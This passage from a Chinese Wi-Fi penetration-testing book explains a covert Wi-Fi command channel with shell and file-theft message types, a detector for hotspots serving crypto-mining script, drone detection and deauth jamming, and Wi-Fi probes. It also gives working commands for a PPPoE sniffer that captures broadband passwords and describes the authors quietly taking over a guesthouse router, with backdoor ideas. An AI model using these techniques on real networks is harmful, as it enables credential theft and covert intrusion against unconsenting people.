以 HID 攻击为例,可以使用 BashBunny 或 DuckHunter 等 HID 工具(将在 6.1 节中介绍)将恶意程序植入受害者设备,随后恶意程序将使用受害者设备的内置无线通信模块与另一台由攻击者控制的设备建立端到端的 Wi-Fi 传输通道。此时,攻击者就可以远程执行命令并窃取数据。

值得注意的是,Ghost Tunnel 并不仅局限于使用 HID 攻击来植入恶意程序,用其他方式植入也是可行的。

Ghost Tunnel 的实现方式具有以下几个优势。

HID 设备只用于植入攻击代码,当植入完成后就可以移除了(HID 攻击外的其他植入形式也是可以的)。

 没有正常的网络连接,可以绕过防火墙。

 不会对现有的网络通信及连接状态造成影响。

 跨平台支持。该攻击可用于任何拥有Wi-Fi 模块的设备,已在Windows 7、Windows 10、Mac OS X上进行测试。

 可在几十米内工作,配合信号桥接设备后,理论上可做到无限远。

(1) 原理

在正常的 Wi-Fi 通信中,一个站点必须经历 Beacon、Probe、Authentication 及 Association 等过程后才能建立与接入点的连接,其整个流程如图 2-120 所示。

图像说明文字

Ghost Tunnel 并没有使用正常的 Wi-Fi 连接,而只用到了其中前三步,如图 2-121 所示。

图像说明文字

为什么用这 3 个帧呢?在 802.11 的状态机中,取决于认证和关联所处的状态一共分为 3 个阶段,如图 2-122 所示。

图像说明文字

在阶段 1(State 1)时,客户端处于 unauthenticated 和 unassociated 状态。而该阶段可以使用的 802.11 帧有如图 2-123 列举的几种,其中就包括了 Probe Request 帧、Probe Response 帧和 Beacon 帧。

图像说明文字

总而言之,Ghost Tunnel 通过 Probe 帧和 Beacon 帧进行通信,并不建立完整的 Wi-Fi 连接。首先攻击者创建一个具有特殊 SSID 的 AP,攻击者和受害设备都使用它作为通信的标识符(而不是常规Wi-Fi 通信中的 MAC)。此时,攻击者通过解析受害者设备所发出的 Probe Request 帧得到数据,受害者设备上的恶意程序将解析攻击者发出的 Beacon 帧及 Probe Response 帧来执行命令并返回数据,如图 2-124 所示。这便是 Ghost Tunnel Wi-Fi 隐蔽传输通道的秘密。

图像说明文字

(2) 实现

前面提到,控制端与被控端采用 Beacon 帧和 Probe Request 帧进行通信,通信数据嵌入到 Information Elements 的 SSID 或 Vendor Specific 元素中,使用 1 字节的标识符进行数据识别,如图 2-125 和图 2-126所示。

图像说明文字

在控制端,使用了 Aircrack-ng 项目中的 osdep 模块,并利用一块具有“监听模式”和“包注入” 功能的无线网卡进行数据收发。相关底层原理可参考图 2-127。

图像说明文字

在 Windows 被控端,通过 Windows Native WiFi API 来操作 Windows 设备的无线网卡进行数据收发。关于 Windows 的 802.11 软件架构可参考图 2-128。

图像说明文字

(3) 代码架构设计

配合着在 Black Hat 会议上的分享,我们将 Ghost Tunnel 的服务端与 Windows 受控端进行了开源(地址为 https://github.com/PegasusLab/GhostTunnel),读者可自行下载、编译、安装并搭建实验环境,命令行界面如图 2-129 所示。

图像说明文字

控制端和被控端依照数据的流向按照模块化的方式进行设计,如图 2-130 所示。

图像说明文字

控制端和被控端的代码文件及目录说明如下:

 控制端

 gt_common.h:负责数据格式等相关定义。

 gt_server 类:负责初始化及总体功能控制。

 gt_console 类:负责控制台的输入输出。

 edit 目录:hostapd 项目关于console 的操作功能。

 packet 目录:mdk4 项目关于802.11 数据帧组装部分的功能。

 libwifi 目录:Aircrack-ng 中osdep 数据收发功能,以及Kismet WiFi 网卡控制功能。

 Windows 被控端

 wtunnel 类:数据收发功能。

 data_handler 类:数据处理功能。

通信数据格式如下:

typedef struct _tunnel_data_header
{
    unsigned char flag;      // 数据标志
    unsigned char data_type; // 数据类型
    unsigned char seq;       // 发送数据包编号
    unsigned char client_id; // 被控端ID
    unsigned char server_id; // 控制端ID
    unsigned char length;    // 数据长度
}tunnel_data_header;

基于传输效率的考虑,代码中并没有对数据进行确认及校验,只是对重复的数据进行了过滤。数据类型定义如下:

#define TUNNEL_CON 0x10 // 建立连接
#define TUNNEL_SHELL 0x20 // shell 功能
#define TUNNEL_FILE 0x30 // 文件下载功能
#define DATA_IN_VENDOR 0x80 // 发送数据不超过32 字节,只填充SSID

typedef enum _TUNNEL_DATA_TYPE
{
    TUNNEL_CON_CLIENT_REQ = 0x11,
    TUNNEL_CON_SERVER_RES,
    TUNNEL_CON_HEARTBEAT,
    TUNNEL_SHELL_INIT = 0x21,
    TUNNEL_SHELL_ACP,
    TUNNEL_SHELL_DATA,
    TUNNEL_SHELL_QUIT,
    TUNNEL_FILE_GET = 0x31,
    TUNNEL_FILE_INFO,
        TUNNEL_FILE_DATA,
    TUNNEL_FILE_END,
    TUNNEL_FILE_ERROR,
}TUNNEL_DATA_TYPE;

USB 攻击平台——P4wnP1 项目(https://github.com/mame82/P4wnP1)受到了Ghost Tunnel 启发,在新版本种加入了类似的利用方式,如图2-131 所示。

图像说明文字

2.5.2 恶意挖矿热点检测器

2017 年 12 月有一则新闻称,国外一家星巴克店内的无线网络被发现植入了恶意代码,劫持网络流量,利用用户设备挖掘门罗币(XMR)。与加密货币相关的安全事件总是引人注目,我们也再次见识到了公共 Wi-Fi 的危险。

不久,Arnau Code 写了一篇文章 CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests,其中详细介绍了如何通过 MITM 攻击植入 JavaScript 代码,从而让 Wi-Fi 网络内的所有设备帮助攻击者挖矿,架构如图 2-132 所示。

图像说明文字

在本节内容中,我们将提出一种可以检测周围 Wi-Fi 网络是否被植入挖矿代码的便捷方法。

1. 什么是 CoinHive

在星巴克挖矿事件中所使用的便是 CoinHive 挖矿程序。CoinHive 是一个提供了门罗币挖矿脚本的网站平台,攻击者将该平台提供的脚本植入到自己或入侵的网站上。一旦有用户访问加载网页上的JavaScript 代码,便会利用用户设备来挖掘门罗币。

在 CoinHive 官网中可以发现多种部署方式,包括 JavaScript 代码形式、人机验证形式、WordPress插件形式等,种类非常丰富。例如,在注册登录时的人机验证,界面如图 2-133 所示。一旦单击就会启动挖矿程序,在运算一段时间后用户才可以继续登录。

图像说明文字

根据 JavaScript Miner 的介绍文档,将示例代码放入网站的 HTML 文件中就可以了,部署极其简单,如图 2-134 所示。

图像说明文字

由于 JavaScript 挖掘代码的易用性及加密货币的经济价值,CoinHive 经常被不法分子所利用。例如,站长或黑客攻破网站后主动插入挖矿代码,站点本身没有挖矿脚本却被运营商链路劫持插入挖矿代码,通过广告联盟将挖矿代码随着广告分发到大量的网站上。

这次星巴克热点的挖矿事件向大家揭示了公共 Wi-Fi 网络也是容易被不法分子利用的场景。

2. 无线热点中的挖矿代码植入原理

在星巴克热点挖矿案例中,可以通过多种方式达到植入挖矿代码的目的。

(1) 在商家无线网络中,通过中间人攻击植入挖矿代码,如图 2-135 所示。

图像说明文字

ARP 欺骗是中间人攻击中最为常见的一种。在局域网中,设备间的通信依赖于 MAC 地址(而不是 IP),每个设备都会在本地维护一个 ARP 映射表,记录 MAC 与 IP 的对应关系。所谓 ARP 欺骗,就是让目标设备在本地 ARP 表中记录错误的对应关系(如图 2-136 所示的 ARP 映射表),使其将数据发向错误的目标,从而被黑客所劫持。黑客通过对用户进行中间人攻击,进而劫持目标与网关间的通信数据,例如替换网页图片(如图 2-137 所示)、替换安装包及植入挖矿代码等。

图像说明文字

(2) 攻击者创建钓鱼热点植入挖矿代码。在 2.4 节中我们了解到,当无线设备发现周围存在同名同加密类型的历史连接热点时,会尝试自动连接。黑客可以通过创建与星巴克热点同名的开放式热点骗取用户主动或被动连接。而该处的 DNS 是由黑客控制的,可以将所有的网页请求指向被黑客植入了挖矿代码的网页,如图 2-138 所示。

图像说明文字

3. 检测工具的原理与实现

现有检测工具大多数使用终端上的安全软件对网络入口流量进行检测,进而发现挖矿代码,这需要设备先连接目标网络才能检测。如果想检测周边的所有热点就只能逐个连接,可预想到效率会非常低。而下面介绍的检测方法可以在无连接的情况下批量检测周边热点,这种检测方式主要基于以下两点。

① 由于恶意热点出于吸引更多用户的目的,往往是无密码的开放式热点。

② 开放式热点的通信数据是未加密的。

检测工具的原理就呼之欲出了,即监听明文的802.11 数据帧,当发现挖矿特征便进行告警。

(1) 搭建测试热点

为方便后续测试,先建立一个包含挖矿代码的开放式热点。参考 2.4 节钓鱼热点中的内容,通过hostapd 建立热点,利用 dnsmasq 提供 DHCP 及 DNS 服务,本地 nginx 提供 Web 服务并植入 CoinHive代码,最后通过 iptables 配置 Captive Portal 强制门户。如此,当移动设备连接该热点时会自动弹出窗口提示需要认证,单击后就会访问含有挖矿代码的网页了。

(2) 监听明文 802.11 数据帧

监听传递在空中的 HTTP 数据。将无线网卡配置为 Monitor 模式,切换到热点所在的 Channel,并使用 Wireshark 进行观察。命令如下:

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0 channel 11

我们的目标是获取未加密的数据帧,其中的 HTTP 数据将会被 Wireshark 所解析,在图 2-139 中输入 http.response 进行 HTTP Response 帧筛选。与此同时,需要让移动设备访问目标网页,接着就能观察到一些数据。

图像说明文字

直接尝试过滤出包含 CoinHive 特征代码的数据包 data-text-lines contains CoinHive.Anonymous,结果如图 2-140 所示。

图像说明文字

此时便能得出结论,该热点存在 CoinHive 挖矿代码。从 wlan.sa 字段取得该热点的 MAC 地址,再结合 Beacon 帧或 Probe 帧获取该热点的名称。以上描述的方法也可以使用 Wireshark 的命令行工具Tshark 在终端中进行操作。

(3) 使用 Scapy 编写挖矿热点识别框架

我们即将打造的程序就是一个对明文 802.11 数据帧的分析器。按照这个思路,只需要添加不同的识别规则就能扩展出对攻击代码的检测了。为了便于扩展,使用 Scapy 来编写一个简单的框架。

① 安装Scapy。由于Scapy 没有对HTTP 协议进行解析,所以需要引入了scapy_http 扩展包。命令如下:

apt install python-pip
pip install scapy
pip install scapy_http

② 获取热点列表。扫描周边热点信息,以便后用,相关代码如下:

from scapy.all import *
from scapy.layers import http
iface = "wlan0"
ap_dict = {}
def BeaconHandler(pkt) :
  if pkt.haslayer(Dot11) :
     if pkt.type == 0 and pkt.subtype == 8 :
         if pkt.addr2 not in ap_dict.keys() :
             ap_dict[pkt.addr2] = pkt.info
sniff(iface=iface, prn=BeaconHandler, timeout=1)

③ 监听含有关键字的HTTP 数据包。当匹配到告警规则后,输出热点名称、MAC 地址及告警详情,相关代码如下:

filter_response = "tcp src port 80"
def HTTPHandler(pkt):
  if pkt.haslayer('HTTP'):
    mac = pkt.addr2
    if "CoinHive.Anonymous" in pkt.load:
      reason = "CoinHive"
    else:
      return
    if mac in ap_dict.keys() :
      ssid = ap_dict[mac]
      print "Find Rogue AP: %s(%s) -- %s" %(ssid, mac, reason)
    else:
      print mac

sniff(iface=iface, prn=HTTPHandler, filter=filter_response, timeout=5)

④ 监听模式及信道切换。在2.4 GHz 中,热点一般会建立在1、6、11 三个互不干扰的信道上。为了增加监听覆盖的信道,可以让程序增加信道切换功能,相关代码如下:

import os
print "[+] Set iface %s to monitor mode" %(iface)
os.system("ifconfig " + iface + " down")
os.system("iwconfig " + iface + " mode monitor")
os.system("ifconfig " + iface + " up")
channels = [1,6,11]
print "[+] Sniffing on channel " + str(channels)
while True:
    for channel in channels:
        os.system("iwconfig " + iface + " channel " + str(channel))
        ...

把以上模块组装在一起就可以使用了(完整代码见https://github.com/PegasusLab/WiFi-Miner-Detector)。如果想添加更多的检测规则,可以在HTTPHandler 函数中进行扩展。

2.5.3 基于 802.11 的反无人机系统

近年来,无人机的应用范围越来越广泛(如航拍、快递、灾后搜救、数据采集等),随着无人机的数量迅速增加,产生了一系列安全管控问题。未经许可闯入敏感区域、意外坠落、影响客机正常起降、碰撞高层建筑等事件不断发生,这也向各国政府提出了新的监管命题。

鉴于无人机监管相关政策尚未形成、现有反无人机解决方案无法落地、持续不断的无人机黑飞造成大量安全事故的现状,在 2017 年 5 月,我们提出了一套低成本反无人机解决方案。此方案不需要特殊的硬件和软件,甚至每个人在自己家里都能快速搭建这套反无人机系统。同年 8 月,我们在 KCon安全会议上也对此进行了分享。

1. 基于 802.11 的反无人机方案

在消费级无人机设备中,大多数使用了 Wi-Fi 模块用以在飞行器和手机间传输遥控、图传等信号,如图 2-141 所示。

图像说明文字

因此,可以通过无线嗅探的方式尝试发现由无人机发出的无线热点。当开启大疆①无人机时,可以从 Beacon 帧和 Probe Response帧中发现其特有的厂商信息SzDjiTec及热点名称信息 PHANTOM3_xxxxx,如图 2-142 和图 2-143 所示。

图像说明文字

基于此特性,利用 AP 的指纹特征便可推断出无人机的厂商和型号,如图 2-144 所示。 —————

① 大疆是深圳市大疆创新科技有限公司旗下的无人机品牌。

图像说明文字

在过去,当发现无人机设备时,我们往往找不到其操控者。由于大部分无人机利用用户的手机作为图像及飞行状态的载体,所以这意味着利用手机的无线指纹信息就可以对操控者的身份进行识别与定位,收集到的电子证据有助于对无人机黑飞事件的刑侦。利用 deauth 攻击,还可以切断其图传信号或遥控信号。

2. 反无人机系统的设计与实现

首先在需要监控的环境中部署传感器网络,实时采集周围空间的 802.11 原始数据并发向数据中心进行分析。一旦发现无人机,便会对其进行定位、发送告警,并阻断其无线连接,架构如图 2-145 所示。

图像说明文字

在软件方面,使用 Kismet 作为嗅探工具。为 Kismet 的每个节点上设置好监听端口、扫描信道等信息。相关代码如下:

#kismet_drone.conf
servername=Kismet-Drone
dronelisten=tcp://<LocalIP>:2502
droneallowedhosts=<ServerIP>
ncsource=<Interface>:channellist:IEEE80211b

在Kismet 服务器端配置每个节点的信息,并设置针对无人机的过滤规则及输入的日志格式。相关代码如下:

#kismet.conf
ncsource=drone:host=<DroneIP>,port=2502
filter_tracker=BSSID(60:60:1F:00:00:00/FF:FF:FF:00:00:00)
...
filter_tracker=BSSID(e4:12:18:00:00:00/FF:FF:FF:00:00:00)
logtypes=netxml,pcapdump

随后可以开启程序监听无线帧,一旦发现目标会在下方控制台得到提示,如图2-146 所示。

图像说明文字

在日志中,可以得到无人机的热点信息,如ESSID、BSSID、信道、厂商、发现时间等;客户端信息,如MAC 地址、厂商等。随后可以利用MDK4 或aireplay-ng 等工具对该无人机进行阻断,效果如图2-147 所示。

图像说明文字

在我们提出该无人机检测系统的半年后即2017 年11 月,Kismet 官方也加入了对无人机类型判断的功能。读者可以在GitHub 的Kismet 项目下,在conf/kismet_uav.conf 文件中找到更多无人机指纹特征,如图2-148 所示。

图像说明文字

2.5.4 便携式的 PPPoE 账号嗅探器

PPPoE(point-to-point protocol over ethernet)是将点对点协议封装在以太网框架中的网络隧道协议。它由 UUNET、Redback Networks 和 RouterWare 所开发,并于 1999 年发表于 RFC 2516 说明中。近二十年过去了,PPPoE 协议被广泛应用在网络接入场景,较为有名的 ADSL 便使用了 PPPoE 协议。随着宽带用户数量爆发式增长,PPPoE 被带进了各家各户,然而它所存在的安全缺陷却一直没受到足够的关注,直到今日成为了一种对路由器攻击成本极低、效果极好的攻击方式。

我们可以轻易地在互联网上搜索到各种使用 Linux、Windows 平台工具来捕获 PPPoE 密码的文章,如图 2-149 所示。

图像说明文字

1. PPPoE 工作原理及安全缺陷

PPPoE 协议的工作流程包含两个阶段:发现阶段和会话阶段。在发现阶段,客户端通过发送广播PADI 寻找 PPPoE 服务器,攻击者可通过自建 PPPoE 服务器来接收 PADI 请求并与客户端建立会话。进入会话阶段后,在 LCP 协商阶段强行要求使用明文传输的 PAP 协议进行认证,随后利用 Wireshark等工具就能嗅探到明文传输的 PAP 账号及密码了,如图 2-150 所示。

图像说明文字

该缺陷的关键在于,客户端在广播寻找 PPPoE 服务器时遭受了钓鱼攻击,被要求以明文的认证方式传递账号信息。协议中的客户端与 PPPoE 服务器分别对应到用户路由器设备和运营商的认证设备。很容易想到,只需要路由器删减掉 PAP 认证便能抵御该攻击。不过任何一种商业产品都是以保障可用性为首要条件,目前还有许多的使用场景(如小运营商或校园宽带)只能使用 PAP 认证。

2. 路由器一键换机功能

相比对安全缺陷的无奈,路由器厂商反而借此解决了一个痛点——更换复杂。在更换路由器时,许多用户会经历“找回宽带密码”的过程,需要呼叫运营商进行重置或上门帮助,这带来许多不便。而利用 PPPoE 的安全缺陷正好就能解决“找回宽带密码”这一问题实现路由器一键换机功能。在路由器中放置嗅探器后,只需将旧路由器与之连接就能自动学习,如图 2-151 所示。

图像说明文字

3. 危险的攻击场景

通过前面的内容,我们大致了解了 PPPoE 嗅探攻击的原理及攻击条件。该攻击需要与目标设备保持二层网络可达,如通过网线直接连接。当你在朋友家能接触到路由器时,就可以直接连接获取账号。另外在小运营商或校园网络这样的大型二层网络中,可以进行批量“钓鱼”。那么还有其他危害大些的攻击场景吗?

前些年,许多家庭无线路由器因管理后台默认密码的问题可以被轻易“黑掉”。如今的路由器进行了改进,在初始化时就要求设置具有一定强度的密码,这样看上去只要密码不被泄露就很安全了。而某次出差的经历,让我们发现了一个有趣的攻击场景。

为了节省经费,我们选择了一家民宿就住。当晚的无线网络不太好,我们自然就想到进后台查看,却被管理后台的登录密码拦住。我们想到,如果知道宽带账号和密码,就可以重置路由器进入管理后台了,于是开始嗅探路由器上保存的 PPPoE 账号,随后重置路由器并将原有配置进行还原,如 PPPoE信息、无线热点信息等,整个过程用了大约 2 分钟。值得注意的是,由于还原后的网络通信、无线热点配置都与之前无异,所以我们的几位同事并没有发现明显异常,但当时已经可以进入路由器后台啦!

我们把这种方式称为“无感知重置绕过法”,适用于所有品牌的家用路由器。拿到后台权限后,除了可以篡改 DNS 外,还可以开启远程 Web 管理,绑定动态域名解析形成一个远控后门,如图 2-152和图 2-153 所示。

图像说明文字

对于规模较小的民宿而言,价格低廉、实施容易的家庭宽带几乎是最主流的入网方式,同时路由器会被放置在客人可接触的区域。这几乎完美匹配了 PPPoE 嗅探的攻击场景,每一位入住的用户都可能对路由器实施无感知重置绕过攻击植入后门,也都可能被之前用户植入的后门监听流量。整个攻击流程如图 2-154 所示。

图像说明文字

4. 打造便携式的 PPPoE 账号嗅探器

关于 PPPoE 嗅探的文章多是验证性质的,在考虑实际的攻击场景时往往会陷入误区,认为该攻击需要物理接触会有很高的攻击门槛。于是我们在 Android 手机上制作了一个 PPPoE 嗅探器,在开启程序几秒钟内便可以获得账号信息。用到的实验设备包括一部装有 Nethunter 系统的 Android 手机、一个micro USB 到 rj45 网口的转接头以及一台目标路由器,如图 2-155 所示。

图像说明文字

(1) 安装与配置。首先安装 PPPoE 服务器和嗅探工具 tshark,并在/etc/ppp/pppoe-server-options 和 /etc/ppp/pap-secrets 文件中进行简单配置。命令如下:

apt install -y pppoe tshark

#/etc/ppp/pppoe-server-options
require-pap
lcp-echo-interval 10
lcp-echo-failure 2

#/etc/ppp/pap-secrets
* * * *

(2) 运行 PPPoE 服务器和 tshark 程序。命令如下:

/usr/sbin/pppoe-server -L 10.5.5.1 -R 10.5.5.10 -I eth0 -S yyf
tshark -i eth0 -Y "pap.password" -l -T fields -e pap.peer_id -e pap.password | tee -a
pap.log

(3) 测试。利用转接头和网线,将手机与路由器 WAN 端口连接起来。此时,一旦 tshark 监听到包含明文账号信息的 PAP 流量,就会在控制台上输出并存入 pap.log 文件中,如图 2-156 所示。

图像说明文字

2.5.5 Wi-Fi 广告路由器与 Wi-Fi 探针

在 2018 年年末,Wi-Fi 领域好像又出现了一些问题。据有关媒体报道,“通过 Wi-Fi 扫描获取周围手机的 MAC 地址,随后便能匹配到用户的手机号及身份证、微博账号等其他个人隐私信息”。很多人看到这段描述被吓了一跳。为什么能获取到这么精准而隐私的个人信息呢?事实上,Wi-Fi 探针只能获取周边设备的 MAC 地址,而更多的信息是来自其背后的数据关联。

许多文章把 Wi-Fi 广告路由器和 Wi-Fi 探针当成了同一种设备,而这实际上是两个不同形态的设备:前者会建立一个能展示广告信息的 Wi-Fi 热点,后者只会被动扫描周边的无线设备。它们都能用来收集周围手机的 MAC 地址,不过使用目的有着很大的不同,同时也无法直接获取到用户的姓名、年龄及身份证号码等信息。

1. Wi-Fi 广告路由器

顾名思义,Wi-Fi 广告路由器是用于广告宣传的无线路由器,为用户提供上网热点的同时,向用户展示广告、获取微信关注等。当用户连接 Wi-Fi 后会自动弹出商家预设的广告登录界面,用户必须填写某些信息进行认证,认证通过后才开通上网权限,如图 2-157 所示。

图像说明文字

常见的认证形式有用户名密码认证、短信验证码认证和微信认证等,自动弹出的网页可以放置广告内容。利用微信的接口,可以强制关注商家微信号才能上网,同时微信置顶将出现广告栏,达到“吸粉”的目的,如图 2-158 所示。

图像说明文字

不过单纯的微信认证无法获取到太多隐私信息,所以有的商家会让用户填写个人信息表单,以此来收集,如图 2-159 所示。

图像说明文字

许多 Wi-Fi 广告路由器还会在购买者不知情的情况下偷偷上传用户的认证信息。该类 Wi-Fi 广告路由器需求量大,全国各地都有广泛的客户,相当于买过设备的客户都在帮其收集用户隐私数据。

2. Wi-Fi 探针

前面的 Wi-Fi 广告路由器功能在用户连接热点后才有效,而 Wi-Fi 探针设备仅通过被动的监听就可以发现周边无线设备,做到客流统计、精准营销等需求,不再需要用户连接。当然,也不排除有厂家将这两个功能进行融合,集成到同一个设备中。

 客流统计:利用无线设备MAC 地址的唯一性(相当于身份证号码),收集MAC 就可以进行客流统计。

 精准营销:通过MAC 地址匹配到用户的手机号和其他个人信息,随后采取对应的精准营销方案。

主打精准营销概念的厂商主要利用人脸识别及 Wi-Fi 探针技术实现。精准营销通过将采集到的MAC 地址与第三方数据(如支付数据、会员数据、线上数据、地理位置等信息)融合的方式,得出用户的完整画像,用于销售过程中的信息支撑。

实际上 Wi-Fi 探针并不是什么新玩意,该技术七八年前在国外就已经很成熟了。过去因为它没有较大的危害,所以没有产生大规模的谈论。而到如今能引起大家的关注是因为其结合了大数据的威力,通过关联匹配、人物画像、行为分析等技术产生一些惊人的功能。

那么,由 MAC 地址关联到用户个人信息的数据是从何而来的呢?除了前面提到的售卖大量 Wi-Fi广告路由器来收集数据外,还可以从第三方数据公司购买数据。在如今的“大数据时代”,对于诈骗电话能准确说出你的姓名、身份证号码、家庭住址等信息,大家都不再会过于惊讶。这些信息通过各种各样的灰产、黑产渠道被获取并贩卖,其中包含手机的 MAC 地址也是很正常的事了。

这些从事数据交易的第三方数据公司,大部分都是非法买卖数据,常见的数据购买方式如下。

(1) 从小公司买 App 的注册数据。App 注册时会收集用户的 MAC地址、手机号码、手机版本等信息。

(2) 从黑产从业人员处购买。例如许多网站因漏洞导致数据库泄露,这些数据很可能会被黑产广泛售卖,其中就可能包含了用户的手机号、MAC 地址、身份证号码等信息,甚至还可能有开房记录及密码等。

能够通过 Wi-Fi 探针来获取个人隐私,主要是由于背后的那些“数据”。如果一台终端设备从未在任何地方登记注册过,那么 Wi-Fi 探针也无从获取任何信息。个人隐私大规模泄露的原因,一部分来自互联网公司因漏洞导致的数据库泄露,还有可能来自各种厂商主动贩卖、交换用户数据。

此外,还需要明确以下几个关键点。

(1) Wi-Fi 探针技术采用的是被动嗅探的方式。这种方式导致了 Wi-Fi 探针设备基本是不可被检测到的,用应对恶意 Wi-Fi 热点的解决方案是无法解决这个问题的。

(2) Wi-Fi 探针主要利用的是协议上的缺陷。主流操作系统的厂商都已经做了许多努力(如 MAC地址随机化)来尝试减少 MAC 地址追踪带来的危害。但这归根结底是由于 Wi-Fi 协议上的缺陷导致的,想要彻底解决依然得靠相关标准的更新。

(3) 关闭 Wi-Fi 功能并不一定有效。理论上关闭 Wi-Fi 后就可以避免遭受 Wi-Fi 探针设备的攻击,但实际上有的手机根本无法关闭 Wi-Fi 功能,虽然显示关闭了,依然会定时发送 Wi-Fi 广播包。

针对 Wi-Fi 探针这种采用被动嗅探方式的工具来说,除了寄希望于设备自身支持 MAC 地址随机化技术外,还可以采取随机发送大量虚假 MAC 地址的方式对 Wi-Fi 探针的运行造成可能的干扰。

2.5.6 SmartCfg 无线配网方案安全分析

2018 年在 DEFCON China 安全会议上,上海交通大学密码与计算机安全实验室(LoCCS)软件安全小组(GoSSIP)的李昶蔚同学和蔡洤朴同学带来了议题——《空中的 Wi-Fi 密码:SmartCfg 无线配网方案安全分析》,我们对此很感兴趣。该议题介绍了被大量智能设备使用的 SmartConfig 配网方案 (一种利用手机给智能设备配网的技术)可能导致 Wi-Fi 密码泄露。

如今,智能家居的场景中出现了很多智能设备,如智能音响、智能插座及智能窗帘等。出于成本、外观、安全性、使用场景或其他方面的考虑,它们没有使用以往的这些快速配网技术。同时,由于这些设备普遍缺乏输入模块和显示模块,连原有的“麻烦”方式也不可行,这自然就增加了新的配网技术需求。

常见的智能设备配网方式有以下两种。

(1) 智能设备处于 AP 模式,用户的手机连接该热点向智能设备发送家庭网络的名称及密码,随后智能设备再作为客户端连接目标网络。

(2) 智能设备处于监听模式,手机上的 App 将家庭网络名称及密码编码后对外持续性发送,智能设备监听到该特殊无线帧后解码并连入家庭网络,随后通过广播包等方式通知 App 配网成功。

SmartConfig 便采用了第二种方式。SmartConfig 是 2012 年由德州仪器(TI)推出的一种新型配网技术,该技术采用一步式 Wi-Fi 设置过程,允许多个家用设备快速高效地连接到 Wi-Fi 网络。考虑到应用通常没有用于输入 Wi-Fi 网络名称和密码的显示屏或键盘,SmartConfig 最终为用户提供了将设备轻松连接到接入点的功能。由于原理并不复杂,各个芯片厂商都有不同的实现方案及技术名称,如图 2-160 所示。

图像说明文字

1. 数据编码原理

我们知道,当把无线网卡设置为 Monitor 模式时,可以捕获到周边所有的 802.11 数据帧。802.11数据帧中的数据字段由于加密的原因可能为密文,但此外的其他头部信息是可以直接阅读的,利用这些就可以传输编码后的网络配置数据。

一般会利用到 Destination Address(DA)和 Length 来承载数据。在智能设备和 App 中都对应一个编码表,通过长度和 DA 字段来映射具体含义,包括起始符、结束符、数据符(ASCII)等;还可以配合使用这两个字段,由 DA 表示 Index,由 Length 表示具体数据。3 种不同的编码方式(DMA、DPL和 Hybrid)如图 2-161 所示。

图像说明文字

2. SmartConfig 安全问题

根据 SmartConfig 实现原理,配网信息编码后由 App 通过 802.11 数据帧传递出去的,除了被目标智能设备捕获外,还可能会被周围的攻击者所捕获。如果攻击者能得到对应的编码表就能还原出 Wi-Fi密码,而该议题就为我们展现了这一点。

有两个关键问题需要解决。

(1) 如何确定一个智能设备所使用的具体方案?

(2) 如何还原编码后的配网信息?

演讲者提到选择从 App SDK 入手,是因为可以很方便地从芯片厂商网站下载 SDK 和文档,同时市面上已经有成熟的 App 逆向分析工具。他们从应用市场收集了大量智能设备应用,检测是否包含相应的 SDK 来确定其具体的 SmartConfig 编码方案,如图 2-162 所示。

图像说明文字

当前市场上广泛使用的各类 SmartConfig 配网方案(来自 8 家主流无线芯片商)中,大多数方案均会导致 Wi-Fi 密码被攻击者解密获取,而针对市面上常见的超过 60 款智能家居设备的实际调查更是证实了这种危害的广泛存在,超过三分之二的设备确确实实受到此问题影响。

在议题中,列举了几个例子。

 以明文形式发送,在这种方式下攻击者可以很容易获取到数据。

 采用AES 加密方式,但使用的预共享密钥被硬编码在APK 中,可以通过逆向分析后导出,如图2-163 所示。

图像说明文字

 通过等差数列进行编码,使用差分分析法就可以还原出Wi-Fi 密码。

议题的最后,他们表示已通过官方途径对相关的厂商及其协议中存在的问题进行通报。

目录

  • 前言
  • 第1章 鸟瞰近源渗透
  • 第2章 Wi-Fi安全
  • 第3章 内网渗透
  • 第4章 权限维持
  • 第5章 网络钓鱼与像素追踪技术
  • 第6章 物理攻击
  • 第7章 后渗透测试阶段
  • 附录A 打造近源渗透测试装备
  • 附录B 近源渗透测试案例分享